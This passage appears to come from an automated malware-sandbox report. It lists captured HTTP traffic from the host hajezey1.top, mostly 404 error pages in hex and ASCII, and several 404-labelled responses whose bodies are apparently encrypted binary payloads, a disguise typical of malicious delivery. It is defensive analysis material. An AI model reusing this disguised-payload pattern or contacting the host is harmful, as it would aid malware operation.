0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:01 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 22 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b 93 e2 86 38 f8 f3 a4 7c d8 21 bd 40 8f 8c f5 cf 9b 2b 25 9b f6 ba e9 1a b0 1c 67 74 d2 5f 9f 87 cd 29 80 78 51 a1 a2 8f 4c 3d d8 1c e0 32 02 50 08 e8 df e2 30 a5 59 93 9b b7 4f f3 e0 e6 62 79 04 54 ea d6 d7 0c 3d 61 1f 27 f4 d2 af 34 91 b4 b9 e1 8a 20 59 55 11 5c 03 25 6e ab 49 11 a0 c8 58 4b 67 13 d2 18 5b 47 86 65 39 15 32 29 c5 f7 15 67 aa cf 20 c0 7a 9f 06 a2 7f c1 96 98 8b 36 5d ca cc 8a 44 d8 06 0e 45 67 14 7d 63 fb e0 04 89 f9 d4 57 80 90 70 89 ec 24 4d 6b 0e e1 a2 22 48 32 da 49 a1 ff bc ff 1f fd f5 3f f4 6f d3 7c cb 36 d2 ce 4e 49 b3 0b 5b 4c 65 55 5b ad 30 7a 83 3b 2b ca c3 e3 b2 ec 92 90 0f 1c 57 ee 87 7e 0c 35 8a 3d 50 7f d0 56 81 b6 9b 97 96 70 9f 8a 86 e8 47 5a ad b2 cb 99 6c 71 11 87 02 b1 b8 56 b0 40 f6 0a bf 8b 71 91 ce 21 b5 1e 55 df 76 79 83 97 5f 96 da 19 d1 3a 2d 12 44 06 02 25 47 c2 fa 6b 8a b2 e2 4b 6d ec c0 40 a4 e2 d0 d7 d9 86 4e 85 8b 51 b0 3e 5b f3 7d 87 4a 04 38 cd 78 14 2c de e8 b1 14 c5 76 10 22 17 4a 86 47 30 5a 22 a2 3f 0b 8e 6b 51 fd b5 54 02 f9 ee f8 b2 d6 4a 1f a7 e9 4d 51 c2 49 64 cd 25 5c 8d b7 1d 24 0c 26 17 51 d2 eb e9 23 19 9d 46 3c 70 76 41 ae a6 c3 88 3e 9d 43 dd 17 fe 2f 43 9e f8 d8 62 47 42 a5 32 b2 be 34 56 9b 46 76 99 86 11 00 83 32 42 62 6e c9 ae d4 15 95 36 e1 48 50 67 7e 50 b8 81 be e5 81 de e3 75 6d 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ec f8 b9 5f 14 2c f2 e6 2f bd 44 ef bf 8b 4f dc ea 90 39 02 97 ab a4 57 25 f5 b8 d0 a7 df f2 4a 0b 7d 54 7a 9c 6c 39 c0 a1 0c 5c 19 d6 63 95 be 07 3d da 9a 7e 05 22 7d e6 b2 68 60 b9 10 31 eb cd fc 25 15 8e b7 82 7f 8e 40 b6 f1 b8 4e a1 21 7b 88 4b 2e 69 81 77 af 5d c6 83 41 69 2f 14 b6 e8 95 19 6d 76 d6 60 83 70 56 3e 0f 60 7c aa 9f 50 54 0c f3 a6 eb 5a ed 33 bd 8a f1 7a 5b b4 18 20 5e 7a 14 f7 f2 26 2b e9 c4 ef 28 e8 98 eb e7 6c ba 25 8f fc da 14 79 a2 8e b9 08 90 bb 77 c6 19 2a 16 bf 43 b3 ea 3d b2 13 3b 35 02 1a 1b eb 22 f5 4e ad e8 16 83 83 6f d4 ed 3f ec c9 81 68 73 02 99 ea fc cd c3 05 d0 93 d3 23 39 01 c4 a5 c8 63 77 da 0b af bd d9 39 69 a1 99 9c 77 e8 0f 4e 8c da 06 b9 37 87 8c b4 26 b8 2c 58 32 77 6c 08 da f9 d2 eb 48 25 66 37 2d 2f f2 5e a5 27 48 84 89 ff 67 37 f9 bd a1 97 2b 86 f3 bd 98 bb 1f 77 c7 26 e1 39 c6 86 8e f0 09 af 63 9d 31 09 a8 50 13 30 7b 32 8c c9 e1 d5 c0 e5 0f 25 93 23 c4 1d d7 cf 8e 34 39 dc 46 77 58 dc be 91 f8 3f d8 2c eb 53 43 ae 3b 97 e4 23 76 f9 14 f9 0b 64 82 93 64 4f 55 b4 ca 5e c3 d5 c0 88 0b 3d d9 1d 69 09 de ff 3d c1 03 70 2e 6f f4 d4 6a db a9 16 da
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:04 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:04 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 52 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b c3 a7 86 38 b4 f2 a7 7c 2d f0 3a cb 8f 8c f5 cf 9b 2b 25 9b 16 ba eb 1b bb 1d 57 74 d2 eb 98 87 cd 23 80 78 51 a1 a2 8f d2 ee df 1c e0 12 02 50 08 08 d8 e2 30 a5 19 93 9b 97 4f f3 e0 e4 62 79 00 54 ea d6 d7 0c 3d 61 19 27 f4 d2 af 34 91 b4 b9 c1 82 20 59 57 11 5c 7c 3b 66 ab 4b 11 c0 4d 58 4b 77 13 d2 08 5b 47 86 65 29 15 32 39 c5 f7 45 22 aa cf 7c c1 7f 9f fc b7 a8 9f 96 98 8b 36 19 19 cb 8a f3 d8 05 0f 4e 86 19 7d 6f ab e1 04 89 63 7a 55 80 90 70 89 7f c8 4a 6b b6 e2 a2 22 48 42 d3 49 ad ff fc ff 1f ed f5 3f f4 6d d3 7c ce 36 d3 ce 4e 49 b3 0b 5e 4c 64 55 5b ad 30 7a 83 9b 84 c8 c3 e7 b2 ec 1c e1 0c 1c 55 ee 87 fe 0c 35 9a 3d 50 6f d0 56 81 96 8b 97 9e 60 9f 8a 86 e8 47 5a bd b2 cb 99 64 51 11 87 4a b1 b8 56 ec ef f7 0a 83 8b 71 91 e0 75 7e 64 19 a0 77 79 27 24 58 96 da 39 d1 3a 2d a6 43 06 02 27 47 c2 fa 6b 8a b2 e2 4b 6d ec 00 31 a5 e2 ec d7 d9 e6 60 f7 f8 23 d3 3e 5b f3 71 81 4a 04 38 2d 7f 14 2c d6 e8 b1 14 73 71 10 fa 82 4b 86 07 30 5a 22 a2 3f 0b 8e 2b 51 fd f5 7a 00 9d 82 ef d0 d6 4a 13 a7 e9 4d 51 c2 41 64 cd 27 5c 8d b7 a3 23 0c 26 17 51 d2 eb e9 23 19 b3 32 59 08 42 41 ae e4 36 dd 3f 9d 43 cd 17 fe 2f 15 9f f8 d8 66 47 42 25 e1 b5 be 34 56 9b 46 3e 99 86 11 22 83 37 22 ec 68 aa cf 04 2a 95 36 56 0f 50 67 74 20 b9 87 f6 f4 81 de bb 34 6b 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ac f8 b9 1f 3a 48 93 92 4e bd 44 ef fb c9 e3 de ea 50 38 02 97 b1 a4 57 25 57 b9 d0 ea 85 62 4a 08 7d 54 7a 98 6c 39 c0 1e f3 5c d9 40 00 fc ce 6e 47 b3 9a 4c 07 22 7d e6 a2 c6 62 b9 14 31 eb cd 40 24 15 8e b7 82 7f 8e 40 b6 f1 b8 4e a1 21 3b 88 4b 6e 47 f3 04 dd be c6 83 41 5f 4f af b8 e8 01 be a2 57 ee 60 87 bd b7 6b 67 09 0f 8a ef 22 3b 6b 81 c7 86 7a 8e 12 d3 e4 de 0e 7b d6 7d 00 2c 0f 7a d7 9b 48 0b ad 8b bc 08 85 f7 8f 82 42 b7 28 85 d8 da 14 79 a2 8e b9 08 c0 fe 77 c6 1d 2b 15 bf fa a5 e9 a8 b2 13 3b 35 02 1a 1b eb c2 f5 6c 8d e3 17 d3 83 6f ce ed 3f ec cf 81 68 73 02 99 ea a6 f5 c3 05 d0 b3 d3 23 39 41 c4 a5 c8 63 77 ca 0b 8f bd d9 39 6b a1 99 98 77 e8 0f 4e 8c da 06 bd 37 87 8c b4 26 b8 2c 58 b2 77 6c 08 d8 f9 d2 eb 48 25 66 34 2d 6f 77 5e a5 37 48 84 99 ff 67 37 f9 ad a1 97 3b 86 f3 bd 98 bb 1f 67 c7 26 e1 39 c6 86 8e f0 09 af 63 95 09 09 a8 1f 13 30 7b 32 cc c9 e1 ad c3 e5 0f 25 93 23 c4 1d d7 cf 8e 34 39 dc 46 77 58 dc be 91 98 3f d8 2c eb 53 43 a0 0c 97 e4 22 76 f9 14 f9 0b 64 82 93 64 4f 55 b4 ca 5e c3 d5 c0 88 0b 3d d9 1d 69 09 de ff 3d c1 03 70 2e 6f f4 d4 6a db a9 16 da
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:06 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:06 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:07 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 22 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b 93 e2 86 38 f8 f3 a4 7c 7f e2 46 aa 8f 8c f5 cf 9b 2b 25 9b f6 ba c9 1b b0 1c 67 74 d2 ff 95 87 cd 2b 80 78 51 a1 a2 8f 2c df d2 1c e0 32 02 50 08 08 d8 e2 30 a5 59 93 9b b7 4f f3 e0 e6 62 79 04 54 ea d6 d7 0c 3d 61 1f 27 f4 d2 af 34 91 b4 b9 41 8f 20 59 55 11 5c 7c 3b 66 ab 49 11 a0 c8 58 4b 67 13 d2 18 5b 47 86 65 39 15 32 29 c5 f7 15 67 aa cf 20 c0 7a 9f 06 a2 7f c1 96 98 8b 36 bd 28 c6 8a 44 d8 06 0e 45 c7 1e 7d 6f fb e0 04 89 f9 d4 57 80 90 70 89 ec e4 4a 6b b6 f2 a2 22 48 52 df 49 a1 ff bc ff 1f fd f5 3f f4 6f d3 7c cb 36 d2 ce 4e 49 b3 0b 5b 4c 65 55 5b ad 30 7a 83 3b 2b ca c3 e3 b2 ec 92 90 0f 1c 57 ee 87 7e 0c 35 8a 3d 50 7f d0 56 81 b6 9b 97 96 70 9f 8a 86 e8 47 5a ad b2 cb 99 6c 71 11 87 02 b1 b8 56 b0 40 f6 0a bf 8b 71 91 ce 21 b5 1e 55 df 76 79 23 36 55 96 da 19 d1 3a 2d b2 4e 06 02 25 47 c2 fa 6b 8a b2 e2 4b 6d ec c0 40 a4 e2 d0 d7 d9 86 4e 85 8b 51 b0 3e 5b f3 71 87 4a 04 38 6d 72 14 2c d0 e8 b1 14 65 7c 10 22 17 4a 86 47 30 5a 22 a2 3f 0b 8e 6b 51 fd b5 54 02 f9 ee f8 b2 d6 4a 1f a7 e9 4d 51 a2 4c 64 cd 25 5c 8d b7 bf 2e 0c 26 17 51 d2 eb e9 23 19 9d 46 3c 70 76 41 ae a6 c3 88 3e 9d 43 dd 17 fe 2f 43 9e f8 d8 62 47 42 c5 d0 b8 be 34 56 9b 46 76 99 86 11 00 83 32 42 52 f7 c2 ae 64 0f 95 36 e1 48 52 67 25 50 b8 81 f6 bc 81 de bb 6e 6a 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ec f8 b9 5f 14 2c f2 e6 2f bd 44 ef bf 8b 4f dc ea 90 39 02 97 ab a4 57 25 f5 b8 d0 bc a6 62 4a 08 5d f6 b3 06 2d 1a c0 5e f3 7c bb a7 fd d4 98 21 17 da 9a 2d 35 23 7d f5 b2 68 60 b8 10 31 fa ed ad 67 e1 e1 bd 84 f3 8c 40 b6 f0 90 4f a1 21 71 ae 61 2e 7a b1 76 af ce c6 83 41 66 30 ae a9 c8 d0 7e 33 3a 64 67 0b bf 77 6a 66 21 0e 8a ef 28 1d 41 81 d4 b6 78 8e 18 d3 e4 9e 0c 7b d6 6c 02 2f 27 76 d7 9b 4e 20 ba f5 be 08 85 fd 89 aa 41 b7 28 8f f4 d5 06 78 5c 9b b8 08 c0 e5 5c c5 17 00 f3 b8 d0 a3 39 a9 b2 13 20 1d 06 1a 1b e1 ea f0 6c 8d e9 c7 d2 83 6f d5 c5 3b ec cf 8b 40 75 02 99 e0 03 f4 c3 05 cb 99 d3 23 2a 71 c7 a5 d9 62 77 ca 08 8f bd c8 11 61 a1 99 9e 5f e3 0f 4e 8a d0 23 9d 43 8e 7e 14 0e b9 2c 58 99 f7 6d 08 d8 fd f7 cb ab 42 66 fb 05 6d 77 5e 8e b7 4a 84 99 fb 42 17 7d bd 91 94 13 85 f3 bd b3 3b 1c 67 c7 22 e7 19 8e 53 c0 b2 21 ab 63 95 22 89 ac 1f 13 34 5e 12 59 b3 52 34 eb e0 0f 25 b8 a3 c1 1d d7 cb ab 14 62 f3 3b 1f 70 da be 91 b3 bf de 2c eb 57 66 80 fe 9d 11 b0 5e fe 14 f9 20 e4 89 93 64 4b 70 94 ea 13 6b e6 e8 80 0b 3d f2 9d 65 09 de fb 18 e1 98 ea 30 e3 dc dd 6a db 82 96 dd
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:10 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:10 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:11 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server 